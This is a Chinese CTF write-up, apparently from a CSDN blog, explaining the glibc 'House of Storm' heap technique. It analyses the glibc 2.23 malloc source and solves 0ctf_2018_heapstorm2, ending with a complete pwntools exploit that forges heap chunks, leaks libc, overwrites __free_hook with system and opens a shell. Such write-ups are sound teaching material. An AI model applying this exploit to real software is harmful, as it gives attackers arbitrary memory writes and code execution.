漏洞危害
House_of_storm
可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。 House_of_storm
虽然危害之大,但是其条件也是非常的苛刻。
漏洞利用条件
- glibc版本小于2.30,因为2.30之后加入了检查
- 需要攻击者在
large_bin
和 unsorted_bin
中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin
的index中且 unsorted_bin
中的chunk要比 large_bin
中的大
- 需要
unsorted_bin
中的 bk指针
可控
- 需要
large_bin
中的 bk指针和bk_nextsize
指针可控
*1*|***1***原理及源码分析
漏洞发生在unsorted_bin的chunk放入largebin的过程中,以下是glibc2.23的源码分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157
|
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { bck = victim->bk;
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect(victim->size > av->system_mem, 0)) malloc_printerr(check_action, "malloc(): memory corruption", chunk2mem(victim), av);
size = chunksize(victim);
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks(av); if (!in_smallbin_range(remainder_size)) { remainder->fd_nextsize = NULL; remainder->fd_nextsize = NULL; } set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);
if (size == nb) { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
if (in_smallbin_range(size)) { victim_index = smallbin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index(size); bck = bin_at(av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; bck = bck->bk;
victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; assert((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; }
mark_bin(av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; }
|
我们把关键部分拿出来再来看一看,我了方便看部分代码有改动,我们将unsorted_chunk
1 2 3 4 5 6
|
unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| else {
unsorted_chunk->fd_nextsize = largbin_chunk; unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize; largbin_chunk->bk_nextsize = unsorted_chunk; unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk; } bck = largbin_chunk->bk; } }
mark_bin(av, unsorted_chunk_index);
unsorted_chunk->bk = bck; unsorted_chunk->fd = largbin_chunk; largbin_chunk->bk = unsorted_chunk;
bck->fd = unsorted_chunk;
|
主要改写就一下4个地方
- unsorted_bin->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
- fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
- fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
- fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk
通过以上4步,我们成功伪造一个合法的fake_chunk,满足unsorted bin的要求,并把它链到了unsorted bin中
例子
BUUCT-PWN 0ctf_2018_heapstorm2(house of storm)
题目分析
这题估计是house of storm利用的起源?
因为用这种办法直接就可以做通,后面还有rctf_2019_babyheap也需要用到house of storm,但是那题限制条件多多了
init()里先把fastbin禁用了
申请了0x13370000这块内存,并且做了初始化
初始化首先读入长度为0x18的随机数,就记为3个long long随机数吧,分别为r1,r2,r3,然后从0x13370820开始,左边和r1亦或,右边和r2亦或(在后边使用中,左边是分配的存放内容的地址与r1亦或结果,右边是size和r2亦或结果)
update中限制了读入长度为size-12,并且有一个off-by-null漏洞
漏洞利用
1.首先,我们申请这么几个堆
1 2 3 4 5 6 7
| add(0x18) add(0x508) add(0x18) add(0x18) add(0x508) add(0x18) add(0x18)
|
2.编辑chunk1,在chunk2-0x10的地方写入0x500,这样做是为了错位,防止之后申请的时候的chunk2的inuse位置1,然后删除chunk1,把chunk2的inuse变为0(这里chunk2的inuse表示chunk1是否空闲)
3.利用off-by-null漏洞编辑chunk0,使得chunk1的size变为0x500
4.再次申请,大小分别为0x18,0x4d8,idx分别为1和7,这样刚好分配了0x500的空间,把刚刚修改之后的chunk1的size用完了
5.删除idx1,然后删除chunk2,此时会进行chunk1和2的合并,合并之后大小为0x530。这时候再申请一个0x38和0x4e8大小的堆,idx分别为1,2,这就造成了重叠:即idx7的chunk的content指向idx2的chunk-0x10位置处
6.按上面4的方法再进行一次重叠,记这一步申请出的0x4d8为idx8,当合并出0x530的chunk后,申请0x48大小的堆,idx为4。此时unsorted bin还剩0x4e0大小的chunk
7.此时删除idx2,该chunk进入unsortedbin,然后把它申请回来,这个时候会把上一步剩下的0x4e0chunk弄进largin bin中,这样Idx8就能控制一个free的large bin
8.重新把2删除,这样idx7就能控制一个free的unsorted bin,chunk大小为0x4f0
9.现在,编辑idx7,把unsorted bin的bk改为0x13370000-0x20(0x133707e0),编辑idx8,把large bin的bk改为0x13370000-0x18,bk_nextsize改为0x13370000-0x20-0x18-5
10.这时,申请一个0x48大小的堆,如果我们运气好,就能成功,此时申请出的堆指向0x133707f0,结果如下图:
我们申请出0x133707e0处伪造出的的chunk
这是large bin
这是unsorted bin
这一步的原理就比较复杂了,下面我尽量解释清楚:
我们在申请一个0x48大小的堆,需要chunk大小为0x50,首先libc中代码会从fastbin中寻找,之后又在small bin寻找,但是它们都为空,所以就从unsorted bin中寻找是否有合适的chunk,此时由于我们的伪造实际上unsorted bin中有2个chunk,首先被判断的是0x4f0大小的chunk,显然大小不对,而由于unsorted bin还有其他chunk,因此不会切割它,而是要把它放入large bin中
此时large bin中已经有了大小0x4e0的chunk,我们要把0x4f0的chunk放进去,就会执行以下操作
1 2 3 4 5 6 7 8 9 10 11
| victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; .... bck = fwd->bk; .... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
|
其中victim为要进行插入的0x4f0大小chunk,fwd为large bin中0x4e0大小的chunk
我们重点关注以下几个操作
1 2
| victim->bk_nextsize = fwd->bk_nextsize; victim->bk_nextsize->fd_nextsize = victim;
|
fwd->bk_nextsize为0x133707c3,他的fd_nextsize就为0x133707e3,libc会向其中写入victim的地址
把该chunk放入large bin之后,libc会接着检查unsorted bin中下一个chunk(即我们伪造的0x133707e0),此时由于错位,该chunk的size正好是0x50,然后就被分配给我们了
但为什么说要运气好才能成功,因为还要满足这个条件,is_mmapped为倒数第二个bit,所以我们需要victim开头是0x56才能满足
1 2
| assert (!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem)));
|
11.现在我们都已经申请出0x13370800这块地方,接下来就可以写入我们需要的地址进行泄露或者编辑了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage) edit(2, payload)
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8) edit(0, payload)
show(1) r.recvuntil("]: ") heap = u64(r.recv(6).ljust(8, '\x00')) success("heap:"+hex(heap))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8) edit(0, payload)
show(1) r.recvuntil("]: ") malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10 libc.address = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc.sym['__free_hook'] system = libc.sym['system'] success("malloc_hook:"+hex(malloc_hook))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00' edit(0, payload) edit(1, p64(system)) delete(2)
|
第一次编辑,在idx0出写入0x13370800,由于0x48长度限制只能写到这里
第二次编辑,利用0x133707e3处的地址获得一个堆上地址,并利用该chunk泄露libc
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import* from LibcSearcher import* context.log_level='debug' r=process('./0ctf_2018_heapstorm2')
elf=ELF('./0ctf_2018_heapstorm2') libc=ELF('./2.23/libc.so.6')
def add(size): r.sendlineafter(':','1') r.sendlineafter(':',str(size))
def edit(ind,test): r.sendlineafter(':','2') r.sendlineafter(':',str(ind)) r.sendlineafter(':',str(len(test))) r.sendlineafter(':',test)
def dele(ind): r.sendlineafter(':','3') r.sendlineafter(':',str(ind))
def show(ind): r.sendlineafter(':','4') r.sendlineafter(':',str(ind))
add(0x18) add(0x508) add(0x18)
add(0x18) add(0x508) add(0x18) add(0x18)
edit(1,p64(0)*(0x4f0/0x8)+p64(0x500)) dele(1) edit(0,'a'*0xc) add(0x18) add(0x4d8) dele(1) dele(2) add(0x38) add(0x4e8)
edit(4,p64(0)*(0x4f0/0x8)+p64(0x500)) dele(4) edit(3,'a'*0xc) add(0x18) add(0x4d8) dele(4) dele(5) add(0x48)
dele(2) add(0x4e8) dele(2)
edit(7,p64(0)*3+p64(0x4f1)+p64(0x13377331)+p64(0x13370800-0x20)) edit(8,p64(0)*5+p64(0x4e1)+p64(0x13377331)+p64(0x13370800-0x18)+p64(0)+p64(0x13370800-0x20-0x18-5)) add(0x48) payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(0x13370800) edit(2, payload) payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(0x13370800) + p64(0x1000) + p64(0x13370800-0x20+3) + p64(8) edit(0, payload)
show(1) r.recvuntil('Chunk[1]: ') heap=u64(r.recvuntil('\x56')[-6:].ljust(8,'\x00')) print hex(heap) payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(0x13370800) + p64(0x1000) + p64(heap+16) + p64(8) edit(0, payload) show(1) r.recvuntil('Chunk[1]: ') base=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x58-0x10 print hex(base) payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(0x13370800) + p64(0x1000) + p64(base+libc.sym['__free_hook']) + p64(0x100)+p64(0x13370800+0x50)+p64(8)+'/bin/sh\x00' edit(0, payload) edit(1,p64(base+libc.sym['system'])) dele(2)
r.interactive()
|
版权声明:本文为CSDN博主「L.o.W」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44145820/article/details/105740530